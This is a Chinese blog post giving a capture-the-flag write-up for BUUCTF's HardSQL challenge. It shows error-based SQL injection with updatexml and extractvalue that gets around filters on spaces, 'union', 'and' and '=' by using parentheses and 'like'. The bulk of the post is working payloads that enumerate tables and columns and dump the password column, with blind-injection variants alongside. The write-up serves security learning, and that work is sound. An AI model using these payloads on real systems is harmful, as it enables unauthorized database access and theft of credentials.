NineOnee

导航

 

绕过空格的报错注入

  • 环境:buuctf中[极客大挑战 2019]HardSQL1
  • 知识点:updatexml报错注入
  • 参考:wp1

做题

sql注入

语法错误时,返回报错内容

试着用注释符闭合,这里有个坑的地方,#以get形式传入时,要以url编码%23发送

查询为假时,就会返回wrong password

查询为真时,就会返回login success

fuzz测试时,发现过滤了" ",*,union,and,=,sleep()

过滤了union,我们不能使用联合查询

过滤了and,我们也不太好使用布尔盲注和时间盲注,并且这里过滤了sleep

并且fuzz这里%09,%0a,%0b,%0c,%0d以及tab都无法进行绕过空格

1'and(substr(database(),1,1)='t')# //布尔盲注
1'and(if(substr(database(),1,1)='t',sleep(5),1))#//时间盲注
//如果用or的话
//布尔盲注相当于1'or 0和1'or 1,如果有limit就会失效
//时间盲注相当于1'or(if(substr(database(),1,1)='t',sleep(5),1)),时间不止5秒,将会非常久

优先考虑报错注入

updatexml

payload:

爆数据库

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

爆表

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

注意这里,用like代替=,并且()绕过了空格

爆字段

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

爆password具体内容

1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23

因为updatexml报错最多显示32位字符,所以只能显示部分flag

用right爆出剩下flag

1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23

然后进行拼接,得到flag

extractvalue

跟updatexml不同的是,只需要两个参数

爆数据库

1'or(extractvalue(1,concat(0x7e,database(),0x7e)))%23

爆表

1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e)))%23

爆字段

1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e)))%23

爆password内容

1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e)))%23

1'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e)))%23

posted on 2020-11-26 21:11  NineOne_E  阅读(382)  评论(0编辑  收藏  举报